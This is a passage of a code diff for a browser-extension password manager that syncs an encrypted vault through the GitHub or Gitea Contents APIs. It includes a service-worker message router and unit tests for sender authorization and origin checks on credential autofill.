/// Convert a base64 string to a Uint8Array.
|
||||
export function base64ToUint8Array(base64: string): Uint8Array {
|
||||
const binary = atob(base64);
|
||||
const bytes = new Uint8Array(binary.length);
|
||||
for (let i = 0; i < binary.length; i++) {
|
||||
bytes[i] = binary.charCodeAt(i);
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
/// Factory function that returns the appropriate GitHost implementation.
|
||||
import { GiteaHost } from './gitea';
|
||||
import { GitHubHost } from './github';
|
||||
|
||||
export function createGitHost(
|
||||
hostType: 'gitea' | 'github',
|
||||
hostUrl: string,
|
||||
repoPath: string,
|
||||
apiToken: string,
|
||||
): GitHost {
|
||||
if (hostType === 'gitea') {
|
||||
return new GiteaHost(hostUrl, repoPath, apiToken);
|
||||
}
|
||||
return new GitHubHost(repoPath, apiToken);
|
||||
}
|
||||
114
extension/src/service-worker/gitea.ts
Normal file
114
extension/src/service-worker/gitea.ts
Normal file
@@ -0,0 +1,114 @@
|
||||
import type { GitHost } from './git-host';
|
||||
import { uint8ArrayToBase64, base64ToUint8Array } from './git-host';
|
||||
|
||||
/// Gitea Contents API implementation.
|
||||
///
|
||||
/// Endpoints:
|
||||
/// GET {hostUrl}/api/v1/repos/{repoPath}/contents/{path}
|
||||
/// POST {hostUrl}/api/v1/repos/{repoPath}/contents/{path} (create)
|
||||
/// PUT {hostUrl}/api/v1/repos/{repoPath}/contents/{path} (update)
|
||||
/// DELETE {hostUrl}/api/v1/repos/{repoPath}/contents/{path}
|
||||
///
|
||||
/// Auth: `token {apiToken}` header.
|
||||
/// Content is base64-encoded in both request and response bodies.
|
||||
/// Updates and deletes require the current file SHA.
|
||||
|
||||
export class GiteaHost implements GitHost {
|
||||
private baseUrl: string;
|
||||
private headers: Record<string, string>;
|
||||
|
||||
constructor(hostUrl: string, repoPath: string, apiToken: string) {
|
||||
// Remove trailing slash from hostUrl
|
||||
const host = hostUrl.replace(/\/+$/, '');
|
||||
this.baseUrl = `${host}/api/v1/repos/${repoPath}/contents`;
|
||||
this.headers = {
|
||||
'Authorization': `token ${apiToken}`,
|
||||
'Content-Type': 'application/json',
|
||||
'Accept': 'application/json',
|
||||
};
|
||||
}
|
||||
|
||||
async readFile(path: string): Promise<Uint8Array> {
|
||||
const resp = await fetch(`${this.baseUrl}/${path}`, {
|
||||
headers: this.headers,
|
||||
});
|
||||
if (!resp.ok) {
|
||||
throw new Error(`Gitea readFile ${path}: ${resp.status} ${resp.statusText}`);
|
||||
}
|
||||
const json = await resp.json();
|
||||
// Gitea returns base64 content with possible newlines
|
||||
const clean = (json.content as string).replace(/\n/g, '');
|
||||
return base64ToUint8Array(clean);
|
||||
}
|
||||
|
||||
async writeFile(path: string, content: Uint8Array, message: string): Promise<void> {
|
||||
const b64 = uint8ArrayToBase64(content);
|
||||
|
||||
// Try to get the current SHA for an update; if 404 it's a create.
|
||||
let sha: string | null = null;
|
||||
try {
|
||||
const existing = await fetch(`${this.baseUrl}/${path}`, {
|
||||
headers: this.headers,
|
||||
});
|
||||
if (existing.ok) {
|
||||
const json = await existing.json();
|
||||
sha = json.sha as string;
|
||||
}
|
||||
} catch {
|
||||
// File does not exist — will create.
|
||||
}
|
||||
|
||||
const body: Record<string, string> = { content: b64, message };
|
||||
if (sha) {
|
||||
body.sha = sha;
|
||||
}
|
||||
|
||||
const method = sha ? 'PUT' : 'POST';
|
||||
const resp = await fetch(`${this.baseUrl}/${path}`, {
|
||||
method,
|
||||
headers: this.headers,
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
|
||||
if (!resp.ok) {
|
||||
const text = await resp.text();
|
||||
throw new Error(`Gitea writeFile ${path}: ${resp.status} ${text}`);
|
||||
}
|
||||
}
|
||||
|
||||
async deleteFile(path: string, message: string): Promise<void> {
|
||||
// Need the current SHA to delete.
|
||||
const existing = await fetch(`${this.baseUrl}/${path}`, {
|
||||
headers: this.headers,
|
||||
});
|
||||
if (!existing.ok) {
|
||||
throw new Error(`Gitea deleteFile ${path}: file not found (${existing.status})`);
|
||||
}
|
||||
const json = await existing.json();
|
||||
const sha = json.sha as string;
|
||||
|
||||
const resp = await fetch(`${this.baseUrl}/${path}`, {
|
||||
method: 'DELETE',
|
||||
headers: this.headers,
|
||||
body: JSON.stringify({ message, sha }),
|
||||
});
|
||||
|
||||
if (!resp.ok) {
|
||||
const text = await resp.text();
|
||||
throw new Error(`Gitea deleteFile ${path}: ${resp.status} ${text}`);
|
||||
}
|
||||
}
|
||||
|
||||
async listDir(path: string): Promise<string[]> {
|
||||
const resp = await fetch(`${this.baseUrl}/${path}`, {
|
||||
headers: this.headers,
|
||||
});
|
||||
if (!resp.ok) {
|
||||
if (resp.status === 404) return [];
|
||||
throw new Error(`Gitea listDir ${path}: ${resp.status} ${resp.statusText}`);
|
||||
}
|
||||
const json = await resp.json();
|
||||
if (!Array.isArray(json)) return [];
|
||||
return json.map((item: { name: string }) => item.name);
|
||||
}
|
||||
}
|
||||
108
extension/src/service-worker/github.ts
Normal file
108
extension/src/service-worker/github.ts
Normal file
@@ -0,0 +1,108 @@
|
||||
import type { GitHost } from './git-host';
|
||||
import { uint8ArrayToBase64, base64ToUint8Array } from './git-host';
|
||||
|
||||
/// GitHub Contents API implementation.
|
||||
///
|
||||
/// Endpoints:
|
||||
/// GET https://api.github.com/repos/{repoPath}/contents/{path}
|
||||
/// PUT https://api.github.com/repos/{repoPath}/contents/{path} (create/update)
|
||||
/// DELETE https://api.github.com/repos/{repoPath}/contents/{path}
|
||||
///
|
||||
/// Auth: `Bearer {apiToken}` header.
|
||||
/// Content is base64-encoded. Updates and deletes require the current file SHA.
|
||||
|
||||
export class GitHubHost implements GitHost {
|
||||
private baseUrl: string;
|
||||
private headers: Record<string, string>;
|
||||
|
||||
constructor(repoPath: string, apiToken: string) {
|
||||
this.baseUrl = `https://api.github.com/repos/${repoPath}/contents`;
|
||||
this.headers = {
|
||||
'Authorization': `Bearer ${apiToken}`,
|
||||
'Content-Type': 'application/json',
|
||||
'Accept': 'application/vnd.github.v3+json',
|
||||
'X-GitHub-Api-Version': '2022-11-28',
|
||||
};
|
||||
}
|
||||
|
||||
async readFile(path: string): Promise<Uint8Array> {
|
||||
const resp = await fetch(`${this.baseUrl}/${path}`, {
|
||||
headers: this.headers,
|
||||
});
|
||||
if (!resp.ok) {
|
||||
throw new Error(`GitHub readFile ${path}: ${resp.status} ${resp.statusText}`);
|
||||
}
|
||||
const json = await resp.json();
|
||||
const clean = (json.content as string).replace(/\n/g, '');
|
||||
return base64ToUint8Array(clean);
|
||||
}
|
||||
|
||||
async writeFile(path: string, content: Uint8Array, message: string): Promise<void> {
|
||||
const b64 = uint8ArrayToBase64(content);
|
||||
|
||||
// Try to get the current SHA for an update; if 404 it's a create.
|
||||
let sha: string | null = null;
|
||||
try {
|
||||
const existing = await fetch(`${this.baseUrl}/${path}`, {
|
||||
headers: this.headers,
|
||||
});
|
||||
if (existing.ok) {
|
||||
const json = await existing.json();
|
||||
sha = json.sha as string;
|
||||
}
|
||||
} catch {
|
||||
// File does not exist — will create.
|
||||
}
|
||||
|
||||
const body: Record<string, unknown> = { content: b64, message };
|
||||
if (sha) {
|
||||
body.sha = sha;
|
||||
}
|
||||
|
||||
const resp = await fetch(`${this.baseUrl}/${path}`, {
|
||||
method: 'PUT',
|
||||
headers: this.headers,
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
|
||||
if (!resp.ok) {
|
||||
const text = await resp.text();
|
||||
throw new Error(`GitHub writeFile ${path}: ${resp.status} ${text}`);
|
||||
}
|
||||
}
|
||||
|
||||
async deleteFile(path: string, message: string): Promise<void> {
|
||||
const existing = await fetch(`${this.baseUrl}/${path}`, {
|
||||
headers: this.headers,
|
||||
});
|
||||
if (!existing.ok) {
|
||||
throw new Error(`GitHub deleteFile ${path}: file not found (${existing.status})`);
|
||||
}
|
||||
const json = await existing.json();
|
||||
const sha = json.sha as string;
|
||||
|
||||
const resp = await fetch(`${this.baseUrl}/${path}`, {
|
||||
method: 'DELETE',
|
||||
headers: this.headers,
|
||||
body: JSON.stringify({ message, sha }),
|
||||
});
|
||||
|
||||
if (!resp.ok) {
|
||||
const text = await resp.text();
|
||||
throw new Error(`GitHub deleteFile ${path}: ${resp.status} ${text}`);
|
||||
}
|
||||
}
|
||||
|
||||
async listDir(path: string): Promise<string[]> {
|
||||
const resp = await fetch(`${this.baseUrl}/${path}`, {
|
||||
headers: this.headers,
|
||||
});
|
||||
if (!resp.ok) {
|
||||
if (resp.status === 404) return [];
|
||||
throw new Error(`GitHub listDir ${path}: ${resp.status} ${resp.statusText}`);
|
||||
}
|
||||
const json = await resp.json();
|
||||
if (!Array.isArray(json)) return [];
|
||||
return json.map((item: { name: string }) => item.name);
|
||||
}
|
||||
}
|
||||
70
extension/src/service-worker/index.ts
Normal file
70
extension/src/service-worker/index.ts
Normal file
@@ -0,0 +1,70 @@
|
||||
/// Thin service-worker entry: loads WASM, constructs the router state, and
|
||||
/// forwards every message into router/index.route().
|
||||
|
||||
import type { Request, Response } from '../shared/messages';
|
||||
import type { RouterState } from './router/index';
|
||||
import { route } from './router/index';
|
||||
import * as vault from './vault';
|
||||
|
||||
// @ts-ignore TS2307 — resolved by webpack alias / copy
|
||||
import initDefault, { initSync } from '../../wasm/relicario_wasm.js';
|
||||
// @ts-ignore TS2307
|
||||
import * as wasmBindings from '../../wasm/relicario_wasm.js';
|
||||
|
||||
type WasmModule = typeof wasmBindings;
|
||||
let wasm: WasmModule | null = null;
|
||||
|
||||
async function initWasm(): Promise<WasmModule> {
|
||||
if (wasm) return wasm;
|
||||
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
const SWGlobalScope = (globalThis as any).ServiceWorkerGlobalScope as (new () => ServiceWorker) | undefined;
|
||||
const isServiceWorker = typeof SWGlobalScope !== 'undefined'
|
||||
&& self instanceof (SWGlobalScope as unknown as typeof EventTarget);
|
||||
|
||||
if (isServiceWorker) {
|
||||
const wasmResponse = await fetch(chrome.runtime.getURL('relicario_wasm_bg.wasm'));
|
||||
const wasmBytes = await wasmResponse.arrayBuffer();
|
||||
initSync({ module: new WebAssembly.Module(wasmBytes) });
|
||||
} else {
|
||||
const wasmUrl = chrome.runtime.getURL('relicario_wasm_bg.wasm');
|
||||
await initDefault(wasmUrl);
|
||||
}
|
||||
|
||||
vault.setWasm(wasmBindings);
|
||||
wasm = wasmBindings;
|
||||
return wasm;
|
||||
}
|
||||
|
||||
// Single router-state object shared by all messages for this SW instance.
|
||||
const state: RouterState = {
|
||||
manifest: null,
|
||||
gitHost: null,
|
||||
wasm: null,
|
||||
};
|
||||
|
||||
chrome.runtime.onMessage.addListener(
|
||||
(request: Request, sender: chrome.runtime.MessageSender, sendResponse: (r: Response) => void) => {
|
||||
(async () => {
|
||||
if (!state.wasm) {
|
||||
// eslint-disable-next-line no-console
|
||||
console.log('[relicario sw] initializing WASM on first message');
|
||||
state.wasm = await initWasm();
|
||||
}
|
||||
return route(request, state, sender);
|
||||
})()
|
||||
.then((r) => {
|
||||
if (!r.ok) {
|
||||
// eslint-disable-next-line no-console
|
||||
console.warn(`[relicario sw] ${request.type} -> error:`, r.error);
|
||||
}
|
||||
sendResponse(r);
|
||||
})
|
||||
.catch((err: Error) => {
|
||||
// eslint-disable-next-line no-console
|
||||
console.error(`[relicario sw] ${request.type} threw:`, err);
|
||||
sendResponse({ ok: false, error: err.message });
|
||||
});
|
||||
return true; // async response
|
||||
},
|
||||
);
|
||||
524
extension/src/service-worker/router/__tests__/router.test.ts
Normal file
524
extension/src/service-worker/router/__tests__/router.test.ts
Normal file
@@ -0,0 +1,524 @@
|
||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
// --- Mocks (must be declared before `route` is imported so the router's
|
||||
// `import * as vault` / `import * as session` resolve to these doubles) ---
|
||||
|
||||
// Partial mock: we override only the vault calls the new tests care about
|
||||
// (fetchAndDecryptItem / fetchAndDecryptSettings / encryptAndWriteSettings)
|
||||
// and let the real implementations of listItems / findByHostname / etc.
|
||||
// continue to run for the other tests that don't need mocks.
|
||||
vi.mock('../../vault', async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import('../../vault')>();
|
||||
return {
|
||||
...actual,
|
||||
fetchAndDecryptItem: vi.fn(),
|
||||
fetchAndDecryptSettings: vi.fn(),
|
||||
encryptAndWriteSettings: vi.fn(),
|
||||
encryptAndWriteItem: vi.fn(),
|
||||
encryptAndWriteManifest: vi.fn(),
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock('../../session', () => ({
|
||||
setCurrent: vi.fn(),
|
||||
getCurrent: vi.fn(),
|
||||
clearCurrent: vi.fn(),
|
||||
requireCurrent: vi.fn(),
|
||||
}));
|
||||
|
||||
import { route, type RouterState } from '../index';
|
||||
import type { Request } from '../../../shared/messages';
|
||||
import type { Item } from '../../../shared/types';
|
||||
import * as vault from '../../vault';
|
||||
import * as session from '../../session';
|
||||
|
||||
// --- chrome.* shim ---
|
||||
|
||||
// @ts-expect-error test harness
|
||||
globalThis.chrome = {
|
||||
runtime: {
|
||||
id: 'relicario-test-id',
|
||||
getURL: (p: string) => `chrome-extension://relicario-test-id/${p}`,
|
||||
},
|
||||
storage: { local: { get: vi.fn().mockResolvedValue({}), set: vi.fn().mockResolvedValue(undefined) } },
|
||||
tabs: { get: vi.fn(), sendMessage: vi.fn() },
|
||||
};
|
||||
|
||||
function makePopupSender(): chrome.runtime.MessageSender {
|
||||
return { url: `chrome-extension://relicario-test-id/popup.html`, id: 'relicario-test-id' };
|
||||
}
|
||||
|
||||
function makeSetupSender(): chrome.runtime.MessageSender {
|
||||
return { url: `chrome-extension://relicario-test-id/setup.html`, id: 'relicario-test-id' };
|
||||
}
|
||||
|
||||
function makeContentSender(pageUrl = 'https://example.com/'): chrome.runtime.MessageSender {
|
||||
return {
|
||||
tab: { id: 42, url: pageUrl } as chrome.tabs.Tab,
|
||||
frameId: 0,
|
||||
id: 'relicario-test-id',
|
||||
};
|
||||
}
|
||||
|
||||
function makeExternalSender(): chrome.runtime.MessageSender {
|
||||
return { url: 'https://evil.example/', id: 'some-other-extension' };
|
||||
}
|
||||
|
||||
function makeState(): RouterState {
|
||||
return {
|
||||
manifest: { schema_version: 2, items: {} },
|
||||
gitHost: null,
|
||||
wasm: {
|
||||
// Stubs sufficient for the message types exercised by tests:
|
||||
new_item_id: () => 'fakeitemid0000ab',
|
||||
generate_password: () => 'PASSWORD',
|
||||
rate_passphrase: () => ({ score: 4, guesses_log10: 15 }),
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
// --- Sender-check matrix ---
|
||||
|
||||
describe('router sender dispatch', () => {
|
||||
let state: RouterState;
|
||||
beforeEach(() => { state = makeState(); });
|
||||
|
||||
const popupOnlyMsgs: Request[] = [
|
||||
{ type: 'is_unlocked' },
|
||||
{ type: 'lock' },
|
||||
{ type: 'list_items' },
|
||||
{ type: 'generate_password', request: { kind: 'random', length: 20, classes: { lower: true, upper: true, digits: true, symbols: true }, symbol_charset: { kind: 'safe_only' } } },
|
||||
{ type: 'rate_passphrase', passphrase: 'hunter2hunter2hunter2' },
|
||||
{ type: 'get_blacklist' },
|
||||
];
|
||||
|
||||
for (const msg of popupOnlyMsgs) {
|
||||
it(`accepts popup-only "${msg.type}" from popup`, async () => {
|
||||
const res = await route(msg, state, makePopupSender());
|
||||
expect(res).toMatchObject({ ok: true });
|
||||
});
|
||||
it(`rejects popup-only "${msg.type}" from content`, async () => {
|
||||
const res = await route(msg, state, makeContentSender());
|
||||
expect(res).toEqual({ ok: false, error: 'unauthorized_sender' });
|
||||
});
|
||||
it(`rejects popup-only "${msg.type}" from external`, async () => {
|
||||
const res = await route(msg, state, makeExternalSender());
|
||||
expect(res).toEqual({ ok: false, error: 'unauthorized_sender' });
|
||||
});
|
||||
}
|
||||
|
||||
it('accepts save_setup from popup', async () => {
|
||||
const msg: Request = { type: 'save_setup', config: { hostType: 'github', hostUrl: '', repoPath: '', apiToken: '' }, imageBase64: '' };
|
||||
const res = await route(msg, state, makePopupSender());
|
||||
expect(res).toMatchObject({ ok: true });
|
||||
});
|
||||
|
||||
it('accepts save_setup from setup tab', async () => {
|
||||
const msg: Request = { type: 'save_setup', config: { hostType: 'github', hostUrl: '', repoPath: '', apiToken: '' }, imageBase64: '' };
|
||||
const res = await route(msg, state, makeSetupSender());
|
||||
expect(res).toMatchObject({ ok: true });
|
||||
});
|
||||
|
||||
it('rejects save_setup from content', async () => {
|
||||
const msg: Request = { type: 'save_setup', config: { hostType: 'github', hostUrl: '', repoPath: '', apiToken: '' }, imageBase64: '' };
|
||||
const res = await route(msg, state, makeContentSender());
|
||||
expect(res).toEqual({ ok: false, error: 'unauthorized_sender' });
|
||||
});
|
||||
|
||||
const contentMsgs: Request[] = [
|
||||
{ type: 'get_autofill_candidates' },
|
||||
{ type: 'blacklist_site' },
|
||||
];
|
||||
|
||||
for (const msg of contentMsgs) {
|
||||
it(`accepts content "${msg.type}" from top-frame content`, async () => {
|
||||
const res = await route(msg, state, makeContentSender());
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
it(`rejects content "${msg.type}" from popup`, async () => {
|
||||
const res = await route(msg, state, makePopupSender());
|
||||
expect(res).toEqual({ ok: false, error: 'unauthorized_sender' });
|
||||
});
|
||||
it(`rejects content "${msg.type}" from subframe`, async () => {
|
||||
const sender: chrome.runtime.MessageSender = { ...makeContentSender(), frameId: 3 };
|
||||
const res = await route(msg, state, sender);
|
||||
expect(res).toEqual({ ok: false, error: 'unauthorized_sender' });
|
||||
});
|
||||
it(`rejects content "${msg.type}" from external`, async () => {
|
||||
const res = await route(msg, state, makeExternalSender());
|
||||
expect(res).toEqual({ ok: false, error: 'unauthorized_sender' });
|
||||
});
|
||||
}
|
||||
|
||||
it('rejects unknown message type', async () => {
|
||||
// @ts-expect-error intentional invalid type
|
||||
const res = await route({ type: 'nonsense' }, state, makePopupSender());
|
||||
expect(res).toEqual({ ok: false, error: 'unknown_message_type' });
|
||||
});
|
||||
});
|
||||
|
||||
// --- Origin-bound autofill ---
|
||||
|
||||
describe('get_autofill_candidates uses sender.tab.url', () => {
|
||||
it('derives hostname from sender, not message', async () => {
|
||||
const state: RouterState = makeState();
|
||||
state.manifest = {
|
||||
schema_version: 2,
|
||||
items: {
|
||||
'aaaaaaaaaaaaaaaa': {
|
||||
id: 'aaaaaaaaaaaaaaaa', type: 'login', title: 'GitHub',
|
||||
tags: [], favorite: false, icon_hint: 'github.com',
|
||||
modified: 0, attachment_summaries: [],
|
||||
},
|
||||
'bbbbbbbbbbbbbbbb': {
|
||||
id: 'bbbbbbbbbbbbbbbb', type: 'login', title: 'Example',
|
||||
tags: [], favorite: false, icon_hint: 'example.com',
|
||||
modified: 0, attachment_summaries: [],
|
||||
},
|
||||
},
|
||||
};
|
||||
const res = await route(
|
||||
{ type: 'get_autofill_candidates' },
|
||||
state,
|
||||
makeContentSender('https://example.com/login'),
|
||||
);
|
||||
expect(res.ok).toBe(true);
|
||||
if (res.ok) {
|
||||
const data = res.data as { candidates: Array<[string, { title: string }]> };
|
||||
expect(data.candidates).toHaveLength(1);
|
||||
expect(data.candidates[0][1].title).toBe('Example');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// --- fill_credentials TOCTOU + origin verification ---
|
||||
|
||||
describe('fill_credentials captured-tab verification', () => {
|
||||
const FAKE_ITEM_ID = 'cccccccccccccccc';
|
||||
|
||||
function loginItem(url: string): Item {
|
||||
return {
|
||||
id: FAKE_ITEM_ID,
|
||||
title: 'Example',
|
||||
type: 'login',
|
||||
tags: [],
|
||||
favorite: false,
|
||||
created: 0,
|
||||
modified: 0,
|
||||
core: { type: 'login', username: 'alice', password: 'hunter2', url },
|
||||
sections: [],
|
||||
attachments: [],
|
||||
field_history: {},
|
||||
};
|
||||
}
|
||||
|
||||
function primeUnlocked(state: RouterState): void {
|
||||
// Provide a fake handle + githost so the handler's "vault_locked" guard
|
||||
// passes — values don't matter because vault is mocked.
|
||||
vi.mocked(session.getCurrent).mockReturnValue({ free: () => {} } as never);
|
||||
state.gitHost = {} as never;
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
vi.mocked(session.getCurrent).mockReset();
|
||||
vi.mocked(vault.fetchAndDecryptItem).mockReset();
|
||||
(chrome.tabs.get as ReturnType<typeof vi.fn>).mockReset();
|
||||
(chrome.tabs.sendMessage as ReturnType<typeof vi.fn>).mockReset();
|
||||
});
|
||||
|
||||
it('returns tab_navigated when captured tab hostname differs from current', async () => {
|
||||
const state = makeState();
|
||||
primeUnlocked(state);
|
||||
// chrome.tabs.get returns a tab that has navigated to a DIFFERENT host.
|
||||
(chrome.tabs.get as ReturnType<typeof vi.fn>).mockResolvedValue({
|
||||
id: 42,
|
||||
url: 'https://evil.example/landing',
|
||||
});
|
||||
|
||||
const res = await route(
|
||||
{
|
||||
type: 'fill_credentials',
|
||||
id: FAKE_ITEM_ID,
|
||||
capturedTabId: 42,
|
||||
capturedUrl: 'https://example.com/login',
|
||||
},
|
||||
state,
|
||||
makePopupSender(),
|
||||
);
|
||||
expect(res).toEqual({ ok: false, error: 'tab_navigated' });
|
||||
// We must NOT have attempted to deliver credentials.
|
||||
expect(chrome.tabs.sendMessage).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('returns origin_mismatch when item hostname differs from current tab', async () => {
|
||||
const state = makeState();
|
||||
primeUnlocked(state);
|
||||
// Tab is still on example.com (matches capturedUrl) …
|
||||
(chrome.tabs.get as ReturnType<typeof vi.fn>).mockResolvedValue({
|
||||
id: 42,
|
||||
url: 'https://example.com/login',
|
||||
});
|
||||
// … but the item we'd fill belongs to github.com.
|
||||
vi.mocked(vault.fetchAndDecryptItem).mockResolvedValue(
|
||||
loginItem('https://github.com/login'),
|
||||
);
|
||||
|
||||
const res = await route(
|
||||
{
|
||||
type: 'fill_credentials',
|
||||
id: FAKE_ITEM_ID,
|
||||
capturedTabId: 42,
|
||||
capturedUrl: 'https://example.com/login',
|
||||
},
|
||||
state,
|
||||
makePopupSender(),
|
||||
);
|
||||
expect(res).toEqual({ ok: false, error: 'origin_mismatch' });
|
||||
expect(chrome.tabs.sendMessage).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('forwards fill_credentials with expectedHost when all checks pass', async () => {
|
||||
const state = makeState();
|
||||
primeUnlocked(state);
|
||||
(chrome.tabs.get as ReturnType<typeof vi.fn>).mockResolvedValue({
|
||||
id: 42,
|
||||
url: 'https://example.com/login',
|
||||
});
|
||||
vi.mocked(vault.fetchAndDecryptItem).mockResolvedValue(
|
||||
loginItem('https://example.com/login'),
|
||||
);
|
||||
(chrome.tabs.sendMessage as ReturnType<typeof vi.fn>).mockResolvedValue({ ok: true });
|
||||
|
||||
const res = await route(
|
||||
{
|
||||
type: 'fill_credentials',
|
||||
id: FAKE_ITEM_ID,
|
||||
capturedTabId: 42,
|
||||
capturedUrl: 'https://example.com/login',
|
||||
},
|
||||
state,
|
||||
makePopupSender(),
|
||||
);
|
||||
expect(res).toEqual({ ok: true });
|
||||
expect(chrome.tabs.sendMessage).toHaveBeenCalledWith(42, {
|
||||
type: 'fill_credentials',
|
||||
username: 'alice',
|
||||
password: 'hunter2',
|
||||
expectedHost: 'example.com',
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
// --- setup-tab exception scope ---
|
||||
//
|
||||
// Setup is allowed a narrow subset of popup-only messages:
|
||||
// - save_setup (final wire-up)
|
||||
// - rate_passphrase (zxcvbn meter during passphrase entry)
|
||||
// - is_unlocked (step-4 extension detection)
|
||||
// Everything else popup-only must be rejected from setup.
|
||||
|
||||
describe('setup tab exception scope', () => {
|
||||
it('accepts rate_passphrase from the setup tab (zxcvbn meter)', async () => {
|
||||
const state = makeState();
|
||||
const res = await route(
|
||||
{ type: 'rate_passphrase', passphrase: 'correct horse battery staple parapet' },
|
||||
state,
|
||||
makeSetupSender(),
|
||||
);
|
||||
expect(res).toMatchObject({ ok: true });
|
||||
});
|
||||
|
||||
it('accepts is_unlocked from the setup tab (step-4 detection)', async () => {
|
||||
const state = makeState();
|
||||
const res = await route({ type: 'is_unlocked' }, state, makeSetupSender());
|
||||
expect(res).toMatchObject({ ok: true });
|
||||
});
|
||||
|
||||
it('rejects fill_credentials from the setup tab (outside the allowlist)', async () => {
|
||||
const state = makeState();
|
||||
const res = await route(
|
||||
{
|
||||
type: 'fill_credentials',
|
||||
id: 'cccccccccccccccc',
|
||||
capturedTabId: 42,
|
||||
capturedUrl: 'https://example.com/',
|
||||
},
|
||||
state,
|
||||
makeSetupSender(),
|
||||
);
|
||||
expect(res).toEqual({ ok: false, error: 'unauthorized_sender' });
|
||||
});
|
||||
|
||||
it('rejects unlock from the setup tab (outside the allowlist)', async () => {
|
||||
const state = makeState();
|
||||
const res = await route(
|
||||
{ type: 'unlock', passphrase: 'hunter2' },
|
||||
state,
|
||||
makeSetupSender(),
|
||||
);
|
||||
expect(res).toEqual({ ok: false, error: 'unauthorized_sender' });
|
||||
});
|
||||
});
|
||||
|
||||
// --- isContent rejects unknown sender.id ---
|
||||
|
||||
describe('isContent sender.id guard', () => {
|
||||
it('rejects content-shaped sender whose id is not the extension id', async () => {
|
||||
const state = makeState();
|
||||
const sender: chrome.runtime.MessageSender = {
|
||||
tab: { id: 42, url: 'https://example.com/' } as chrome.tabs.Tab,
|
||||
frameId: 0,
|
||||
id: 'some-other-extension', // NOT chrome.runtime.id
|
||||
};
|
||||
const res = await route({ type: 'get_autofill_candidates' }, state, sender);
|
||||
expect(res).toEqual({ ok: false, error: 'unauthorized_sender' });
|
||||
});
|
||||
});
|
||||
|
||||
// --- capture_save_login (content-callable, origin-bound) ---
|
||||
|
||||
describe('capture_save_login', () => {
|
||||
const EXISTING_ID = 'dddddddddddddddd';
|
||||
|
||||
function loginItem(url: string, username: string, password: string): Item {
|
||||
return {
|
||||
id: EXISTING_ID,
|
||||
title: 'Example',
|
||||
type: 'login',
|
||||
tags: [],
|
||||
favorite: false,
|
||||
created: 0,
|
||||
modified: 0,
|
||||
core: { type: 'login', username, password, url },
|
||||
sections: [],
|
||||
attachments: [],
|
||||
field_history: {},
|
||||
};
|
||||
}
|
||||
|
||||
function primeUnlocked(state: RouterState): void {
|
||||
vi.mocked(session.getCurrent).mockReturnValue({ free: () => {} } as never);
|
||||
state.gitHost = {} as never;
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
vi.mocked(session.getCurrent).mockReset();
|
||||
vi.mocked(vault.fetchAndDecryptItem).mockReset();
|
||||
vi.mocked(vault.encryptAndWriteItem).mockReset();
|
||||
vi.mocked(vault.encryptAndWriteManifest).mockReset();
|
||||
vi.mocked(vault.encryptAndWriteItem).mockResolvedValue(undefined);
|
||||
vi.mocked(vault.encryptAndWriteManifest).mockResolvedValue(undefined);
|
||||
});
|
||||
|
||||
it('accepts capture_save_login from top-frame content', async () => {
|
||||
const state = makeState();
|
||||
primeUnlocked(state);
|
||||
const res = await route(
|
||||
{ type: 'capture_save_login', username: 'alice', password: 'hunter2' },
|
||||
state,
|
||||
makeContentSender('https://example.com/login'),
|
||||
);
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects capture_save_login from popup', async () => {
|
||||
const state = makeState();
|
||||
primeUnlocked(state);
|
||||
const res = await route(
|
||||
{ type: 'capture_save_login', username: 'alice', password: 'hunter2' },
|
||||
state,
|
||||
makePopupSender(),
|
||||
);
|
||||
expect(res).toEqual({ ok: false, error: 'unauthorized_sender' });
|
||||
});
|
||||
|
||||
it('update path: existing (host, username) match rotates the password', async () => {
|
||||
const state = makeState();
|
||||
primeUnlocked(state);
|
||||
// Seed manifest with a login for example.com.
|
||||
state.manifest = {
|
||||
schema_version: 2,
|
||||
items: {
|
||||
[EXISTING_ID]: {
|
||||
id: EXISTING_ID, type: 'login', title: 'Example',
|
||||
tags: [], favorite: false, icon_hint: 'example.com',
|
||||
modified: 0, attachment_summaries: [],
|
||||
},
|
||||
},
|
||||
};
|
||||
vi.mocked(vault.fetchAndDecryptItem).mockResolvedValue(
|
||||
loginItem('https://example.com/', 'alice', 'oldpass'),
|
||||
);
|
||||
|
||||
const res = await route(
|
||||
{ type: 'capture_save_login', username: 'alice', password: 'newpass' },
|
||||
state,
|
||||
makeContentSender('https://example.com/login'),
|
||||
);
|
||||
expect(res).toMatchObject({ ok: true, data: { action: 'updated', id: EXISTING_ID } });
|
||||
// Verify write was invoked with a core whose password is the new one.
|
||||
expect(vault.encryptAndWriteItem).toHaveBeenCalledTimes(1);
|
||||
const writtenItem = vi.mocked(vault.encryptAndWriteItem).mock.calls[0][3];
|
||||
expect(writtenItem.id).toBe(EXISTING_ID);
|
||||
if (writtenItem.core.type !== 'login') throw new Error('expected login core');
|
||||
expect(writtenItem.core.password).toBe('newpass');
|
||||
expect(writtenItem.core.username).toBe('alice');
|
||||
});
|
||||
|
||||
it('add path: no match creates a new item bound to senderHost', async () => {
|
||||
const state = makeState();
|
||||
primeUnlocked(state);
|
||||
// Empty manifest — no candidates.
|
||||
state.manifest = { schema_version: 2, items: {} };
|
||||
|
||||
const res = await route(
|
||||
{ type: 'capture_save_login', username: 'bob', password: 's3cret' },
|
||||
state,
|
||||
makeContentSender('https://example.com/signup'),
|
||||
);
|
||||
expect(res.ok).toBe(true);
|
||||
if (res.ok) {
|
||||
const data = res.data as { action: string; id: string };
|
||||
expect(data.action).toBe('added');
|
||||
expect(data.id).toBe('fakeitemid0000ab'); // from stub new_item_id()
|
||||
}
|
||||
expect(vault.encryptAndWriteItem).toHaveBeenCalledTimes(1);
|
||||
